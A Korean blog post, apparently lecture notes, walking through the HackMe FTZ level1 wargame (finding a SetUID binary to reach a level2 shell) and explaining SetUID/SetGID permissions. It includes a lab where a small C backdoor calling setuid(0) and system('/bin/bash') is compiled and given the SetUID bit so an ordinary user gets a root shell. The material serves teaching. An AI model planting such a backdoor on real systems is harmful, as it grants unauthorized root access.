[목차]

 

1. 문제 소개

2. 문제 목표

3. 백도어 소개

4. 요구 지식

5. 풀이 과정

6. 요구 지식 설명

 

 


 

 

[문제 소개]

 

 

HackMe(ftz.hackershool.org)

 

다음 내용은 "문제풀이로 배우는 시스템 해킹 테크닉" 책에 대한 내용을 공부 목적으로 만든것입니다. 따라서, 상업적으로 사용하지 않는 경우 문서 배포가 가능합니다. 인터넷상에 제공해 주신 많은 문서들에 대해 감사드립니다.

문제 풀이에 대한 부분은 아래 사이트를 참고 하시기 바랍니다. 또한 많은 사이트에서 문제 풀이에 대한 부분을 검색해 보실수 있습니다.

http://inhack.org/wordpress/?cat=68

리버싱에 대한 자세한 공부 사이트는 다음과 같습니다. 반드시 참고하시기 바랍니다.

http://www.codeengn.com/ ((Google Search) site:codeengn.com intext:index.of.)

 

 


 

 

[문제 목표]

해당 문제 해결 과정을 통해

백도어(Backdoor)에 대한 이해를 할 수 있다.

 

 


 

 

[백도어 소개]

 

1. 멀웨어(Malware 악성 소프트웨어) 종류 중 하나

* 바이러스

* 백도어

* 스파이웨어/애드웨어

* 기타

 

 

2. 백도어란?

* 시스템에 대한 사용자 인증등 정상적인 절차를 거치지 않고

응용프로그램 또는 시스템에 접근할 수 있는 프로그램 코드.

사용자가 시스템 보안 헛점을 응용하여 프로그램을 제작해 사용

(EX) reverse_tcp, bind_tcp

 

 

3. 백도어의 종류

패스워드 크래킹 백도어

Rhosts + + 백도어

Checksum과 Timestamp 백도어

Login 백도어

Telnetd 백도어

Services 백도어

Cronjob 백도어

Library 백도어

Kernel 백도어

파일 시스템 백도어

Bootblock 백도어

프로세스 은닉 백도어(Process hiding backdoors)

루트킷(Rootkit)

네트워크 트래픽 백도어(Network traffic backdoors)

TCP 쉘 백도어

UDP 쉘 백도어

ICMP 쉘 백도어

암호화된 링크

Windows NT

 

[참고] http://tip.daum.net/openknow/38942934

 

 

 


 

 

[요구 지식]

 

1. 메모리 구조에 대한 이해

2. C 언어 구조 및 사용법에 대한 이해

(참고) takudaddy.tistory.com/242?category=838109

 

3. Linux 기본 명령어에 대한 이해

4. 특수 퍼미션 SetUID / SetGID/Sticky Bit 에 대한 이해

5. gdb (GNU debugger) 기본 사용법

 

 


 

 

[풀이 과정]

 

 

① level1 사용자로 로그인

HackMe 시스템에 putty를 통해 telnet 접속을 한다.

ID/PASS: level1/level1

 

 

② 파일 & 디렉토리 퍼미션 확인

[level1@ftz level1]$ cd

[level1@ftz level1]$ ls -ld

drwxr-xr-x 4 root level1 4096 2월 11 12:28 .

 

*level1 그룹에 속한 사용자는 r-x 퍼미션을 갖는다.

/home/level1 디렉토리 안의 파일이나 디렉토리는 삭제가 불가능하다.

 

 

 

[level1@ftz level1]$ ls -l

-rw-r--r-- 1 root root 47 Apr 4 2000 hint

drwxr-xr-x 2 root level1 4096 Dec 7 2003 public_html

drwxrwxr-x 2 root level1 4096 Aug 19 21:45 tmp

/home/level1/tmp 디렉토리가 level1 사용자가 사용하는 작업 디렉토리이다.

 

 

 

③ hint 파일 확인

[level1@ftz level1]$ cat hint

 

 

level2 권한에 setuid가 걸린 파일을 찾는다.

 

 

(힌트 정보 분석)

- SetUID 파일을 찾아야 한다.

- SetUID 파일을 찾을 때 find 명령어를 사용한다.

 

 

(요구 지식)

- find 명령어 사용법

- SetUID/SetGUD/Sticky Bit

* 요구 지식에 대한 설명은 문제 풀이 아래에 별도로 기록해 두었다.

 

 

 

④ SetUID 파일 검색

[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null

/bin/ExecuteMe

 

[level1@ftz level1]$ ls -l /bin/ExecuteMe

-rwsr-x--- 1 level2 level1 12868 Aug 19 13:01 /bin/ExecuteMe

* level 1의 권한으로 실행 가능

 

 

 

⑤ 검색된 파일을 실행시켜 본다.

[level1@ftz level1]$ id

uid=3001(level1) gid=3001(level1) groups=3001(level1)

 

[level1@ftz level1]$ /bin/ExecuteMe

 

 

 

레벨2의 권한으로 당신이 원하는 명령어를

한가지 실행시켜 드리겠습니다.

(단, my-pass 와 chmod는 제외)

 

어떤 명령을 실행시키겠습니까?

 

 

[level2@ftz level2]$ bash

 

 

[level2@ftz level2]$ my-pass

 

Level2 Password is "hacker or cracker".

 

위 프로그램이 실행되는 동안은 level2의 권한으로 실행된다.

 

 

[용어] hacker

■ White hacker(hacker)

■ Black hacker(cracker)

■ Gray hacker(Pentester)

 

# ps

# ps –l (ppid 번호 확인)

# pstree –alup PID번호 (bash 실행 및 권한 구조 확인)

 

 

 

⑥ level2 암호가 맞는지 확인

[level1@ftz level2]$ exit

[level1@ftz level1]$ telnet localhost

level2/hacker or cracker

 

[level2@ftz level2]$ exit

[level1@ftz level1]$

 

 


 

 

[요구 지식 설명]

 

 

1. find 명령어

* Linux 기본 명령어 예 : find CMD

# find / -name core -type [f|d]

# find / -user level2 -group level2

# find / -mtime [-7|7|+7]

# find / -size [-200|200|+200][c|K|M]

# find / -perm [-755|755|+755]

# find / -name core -type f -exec rm -f {} \;

 

 

 

 

2. 특수퍼미션(SetUID/SetGID/Sticky Bit) 대해서

 

 

프로그램이 실행되는 동안에 권한을 넘을 때 사용하는 특수한 시스템

ex) mount 명령어

권한 상승때 사용.

 

 

■ 사용시스템

linux

 

 

■ 파일의 속성 정보 변경

# ls -l file1

-rw-r--r-- 1 root root 0 Aug 21 19:28 file1

======================================

- 파일의 종류(-/d/b/c/l/s/p/D) =>

rw-r--r-- 파일의 퍼미션(rw-(사용자), r--(그룹), r--(other)) => chmod CMD

1 링크 카운트 => ln CMD

root 소유권 => chown CMD

root 그룹권 => chgrp CMD

0 사이즈(크기), bytes =>

Aug 21 19:28 mtime(Modify time) => touch -t CMD

file1 파일이름 => mv CMD

=======================================

 

 

■ chmod CMD

퍼미션 변경 방법

옥탈모드(Octal Mode) # chmod 755 file1

심볼릭모드(Symbolic Mode) # chmod u+x file1

파일과 디렉토리 퍼미션의 의미

파일 (r / w / x)

디렉토리 (r / w / x) : r(ls CMD), w(생성 & 삭제), x(cd CMD)

umask CMD(/etc/bashrc)

002 -> 022 -> 027

관리자) /etc/bashrc

사용자) ~/.bashrc

특수퍼미션(SetUID/SetGID/Sticky Bits)

의미

설정 방법

관리 방법

 

 

■ 특수퍼미션 의미(Meaning)

SetUID(SUID)

SetGID(SGID)

Sticky Bits(SBit)

 

 

■ 특수퍼미션 설정에 대해서

--------------------------------------------

File Directory

--------------------------------------------

SetUID 0 X

SetGID 0 0

StickyBit X 0

--------------------------------------------

 

 

 

 

[EX] SetUID 의미에 대한 실습

 

(linux) CentOS 5.X -> CentOS 7.X

[질문] 일반 사용자가 passwd 명령어를 이용하여 자신의 암호를 변경할 수 있는가?

[정보] 사용자의 암호는 /etc/shadow 파일에 들어 있기 때문에,

일반 사용자에게는 /etc/shadow 파일에 대한 write 권한이 필요하다.

 

# ls -l /etc/passwd /etc/shadow

-rw-r--r-- 1 root root 2.3K Aug 19 07:51 /etc/passwd

-r-------- 1 root root 1.7K Aug 19 08:36 /etc/shadow

 

$ passwd

 

# ls -l /usr/bin/passwd

-rwsr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd*

 

 

# chmod 755 /usr/bin/passwd (# chmod u-s /usr/bin/passwd)

# ls -l /usr/bin/passwd

-rwxr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd*

 

[참고] 필요하면 명령어 수행

# useradd user01

# passwd user01

# tail /etc/passwd

 

# telnet localhost

user01 사용자로 로그인

 

$ passwd

Changing password for user user01.

Changing password for user01

(current) UNIX password: (user01)

passwd: Authentication token manipulation error

 

$ exit

# passwd user01

Changing password for user user01.

New UNIX password: (user01)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (user01)

passwd: all authentication tokens updated successfully.

 

 

# chmod 4755 /usr/bin/passwd

# ls -l /usr/bin/passwd

-rwsr-xr-x 1 root root 23K Aug 11 2010 /usr/bin/passwd*

 

 

 

[질문] 일반적으로 SetUID 파일이 왜 필요한가?

일반사용자가 자신의 권한을 넘어서 어떠한 동작을 해야 하는 경우가 존재해서, 만들어진 개념이다.

관리자(EX: root)는 이런 개념이 필요없다.

대표적인 SetUID 개념을 사용하는 프로그램 종류는 다음과 같다.

/usr/bin/passwd

/usr/bin/su

/usr/bin/sudo

/usr/bin/chsh

 

 

[EX] SetUID/SetGID 기본 개념 실습

 

(선수작업) user01, fedora 사용자 존재 확인 및 추가작업

# egrep 'user01|fedora' /etc/passwd

# useradd fedora

# passwd fedora

 

① user01 사용자로 /home/user01/touch 명령어 생성

[TERM1] user01 사용자의 터미널

# telnet localhost

user01 사용자로 로그인

 

$ chmod 775 /home/user01

$ cp /bin/touch /home/user01

$ ls -l

-rwxr-xr-x 1 user01 user01 42284 3월 17 01:20 touch

 

원본 파일과 복사본 권한 비교

/bin/touch (rwxr-xr-x 1 root root)

/home/user01/touch (rwxr-xr-x 1 user01 user01)

 

$ ./touch file1 ($ /home/user01/touch file1)

$ ls -l

-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1

-rwxr-xr-x 1 user01 user01 42284 3월 17 01:20 touch

 

 

/home/user01 (rwxrwxr-x user01 user01)

user01 아래 file1((0)생성가능)

 

$ chmod 4755 touch

$ ls -l

-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1

-rwsr-xr-x 1 user01 user01 42284 3월 17 01:33 touch

 

② fedora 사용자로 /home/user01/touch 명령어 실행

$ su - fedora

-> fedora 암호 입력

 

$ cd /home/user01

$ touch file2 ($ /bin/touch file2)

touch: cannot touch `file2': 허가 거부됨

 

 

/home/user01 (rwxrwxr-x user01 user01)

user01 밑에 file2((X)생성 불가능)

 

/bin/touch (rwxr-xr-x 1 root root)

/home/user01/touch (rwsr-xr-x 1 user01 user01)

 

$ ./touch file2 ($ /home/user01/touch file2)

$ ls -l

-rw-rw-r-- 1 user01 user01 0 3월 17 01:20 file1

-rw-rw-r-- 1 user01 fedora 0 3월 17 01:20 file2

-rwsr-xr-x 1 user01 user01 42284 3월 17 01:33 touch

 

$ id

uid=500(fedora) gid=500(fedora) groups=500(fedora)



 

③ /home/user01/touch 파일에 SetGID 설정

$ exit

$ id

uid=501(user01) gid=501(user01) groups=501(user01)

 

-> user01 사용자 확인

 

$ chmod 2755 touch (rwxr-xr-x -> rwxr-sr-x)

$ ls -l touch

-rwxr-sr-x user01 user01 size mtime touch


④ fedora 사용자로 /home/user01/touch 명령어 실행

$ su - fedora

-> fedora 사용자 암호 입력

 

$ cd /home/user01

$ ./touch file3 ($ /home/user01/touch file3)

$ ls -l

-rw-rw-r-- 1 user01 user01 0 Apr 21 15:59 file1

-rw-rw-r-- 1 user01 fedora 0 Apr 21 16:02 file2

-rw-rw-r-- 1 fedora user01 0 Apr 21 16:04 file3

-rwxr-sr-x 1 user01 user01 42284 Apr 21 15:59 touch


/home/user01 (rwx
rwxr-x user01 user01)

user01 및에 file3((0)생성가능)

 

$ id

uid=500(fedora) gid=500(fedora) groups=500(fedora)


$ exit

$ exit

#

 

 

 

 

 

[EX] bash쉘의 SetUID 권한 부여

 

① /bin/bash 명령어를 /test/bash로 복사

[TERM1] root 사용자 터미널

# mkdir -p /test && cd /test && rm -rf /test/*

# ls -l /bin/bash

-rwxr-xr-x 1 root root 735004 Jan 22 2009 /bin/bash

 

# cp /bin/bash /test

# ls -l bash

-rwxr-xr-x 1 root root 735004 Feb 11 09:06 bash 

 

 원본 쉘과 복사본 쉘 권한 비교

/bin/bash (-rwxr-xr-x 1 root root 719K Jul 22 2011 /bin/bash*)

/test/bash (-rwxr-xr-x 1 root root 719K Jan 13 11:33 bash*)

 

 

② 복사된 쉘(EX: /test/bash) 실행

# bash (# /bin/bash)

#

 

# ps

PID TTY TIME CMD

5233 pts/1 00:00:00 bash

5613 pts/1 00:00:00 bash


# pstree -apl 
5233 (# pstree -anp 5233)

bash───bash───pstree

 

 

# exit

exit


# ./bash
 (# /test/bash)

#

 

# ps

PID TTY TIME CMD

5233 pts/1 00:00:00 bash

5688 pts/1 00:00:00 bash

# exit

 

③ /test/bash 명령어에 SetUID 설정

# chmod 4755 bash

# ls -l bash

-rwsr-xr-x 1 root root 735004 Feb 11 09:06 bash 

 

④ fedora 사용자로 /test/bash 명령어 실행

[TERM2] fedora 사용자의 터미널

# su - fedora

$ cd /test

$ ls -l bash

-rwsr-xr-x 1 root root 735004 Feb 11 09:06 bash

 

 

$ ./bash ($ /test/bash)

# 으로 실행되는지 확인! X

 

* 중요!

bash shell만

setuid 걸면 관리자 권한으로 실행 안된다.

취약점 악용사례가 빈번해 그걸 방지하려고

프로그램 안에 방지 구문이 들어가 있다.

권한 상승 전 검사하는 코드를 등록해 놨음.

 

이 처리를 우회하는 방법을 익히자.

 

 

$ id

uid=500(fedora) gid=500(fedora) groups=500(fedora)

 

 

$ exit

$ exit

#

 

 

 백도어 파일 생성

 

[참고] gcc 프로그램 설치가 되어 있지 않으면

# which gcc

# rpm -qa | grep gcc

# yum install gcc (# yum -y install gcc)

 

[TERM1] root 사용자의 첫번째 터미널

# vi ~/.vimrc

set ts=4

 

# cd /test

# vi backdoor.c /* 함수를 이용하여 프로그램 내에서 쉘을 실행 시키는 것 */ 공격구문

#include <sys/types.h>

#include <unistd.h>

#include <stdlib.h>

 

main()

{

//system("/bin/bash"); bin 밑에 배쉬쉘 실행하라는 뜻

//system("ls -l | grep back*"); 실험

 

setuid(0); /* int setuid(uid_t uid); */

setgid(0); /* int setgid(gid_t gid); */

system("/bin/bash"); /* int system(const char *command); */

}

 

관리자 권한으로 위 프로그램을 실행시켜라!

# man setuid

DESCRIPTION

setuid() sets the effective user ID of the current process. If the

effective UID of the caller is root, the real UID and saved set-

user-ID are also set.

# man setgid

DESCRIPTION

getgid() returns the real group ID of the current process.

getegid() returns the effective group ID of the current process.

# man system

DESCRIPTION

system() executes a command specified in command by calling /bin/sh

-c command, and returns after the command has been completed. Dur-

ing execution of the command, SIGCHLD will be blocked, and SIGINT

and SIGQUIT will be ignored.

 

[참고] 필요하면 명령어 수행

# yum -y install gcc

 

# gcc -o bashshell backdoor.c

# ls -l bashshell

-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell

 

 

# file /bin/ls

/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), stripped

ELF = 유닉스 리눅스에서 사용하는 실행 파일 형식

 

 

# file /test/bashshell

/test/bashshell: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, dynamically linked (uses shared libs), not stripped



⑥ fedora 사용자로 /test/bash 명령어 실행

[TERM2] fedora 사용자 터미널

# telnet localhost

-> fedora 사용자로 로그인

 

$ cd /test

$ ls -l bashshell

-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell 

$ ./bashshell

$ ps

PID TTY TIME CMD

7195 pts/2 00:00:00 bash

7226 pts/2 00:00:00 bashshell

7227 pts/2 00:00:00 bash

7249 pts/2 00:00:00 ps

 

 

$ pstree -alup 7195

bash───bashshell───bash───pstree

$ id

uid=500(fedora) gid=500(fedora) groups=500(fedora)

 

$ exit

$

 

 

bashshell은 setuid 걸어도 권한 상승이 안되는 것을 알았으니

그 해결책으로 나온 방법이 바로 bash를 프로그램으로 감싸 실행시키는 것.

bash를 실행 프로그램 내부에서 실행시킨다.

 

 

⑦ /test/bashshell 명령어에 SetUID 설정

[TERM1] root 사용자 터미널

# cd /test

# chmod 4755 bashshell (bashshell이 아니라 bashsell을 감싸는 프로그램에 setuid를 줬다)

# ls -l bashshell

-rwsr-xr-x 1 root root 4934 Feb 11 09:22 bashshell

 

⑧ fedora 사용자 터미널에서 /test/bashshell 명령어 실행

[TERM2] fedora 사용자의 터미널

$ ./bashshell (이전엔 자기가 프로그램을 실행한 것. 하지만 이번엔)

# id

uid=0(root) gid=0(root) groups=500(fedora)

 

 

(1차 시도) /test/bash

# chmod 4755 bash

# su - feodora

$ /test/bash

$

 

(2차 시도) /test/bash

# vi backdoor.c

-> setuid(0), setgid(0), system("/bin/bash")

# gcc -o backdoor backdoor.c

# chmod 4755 backdoor

# su - fedora

$ /test/backdoor

#

 

 

⑨ fedora 사용자로 테스트

 

/test

 

# ps –l

# pstree –alup ppid 번호

 

 

 

 

 

 

[출처]

솔데스크 백승찬 강사님

 

728x90

+ Recent posts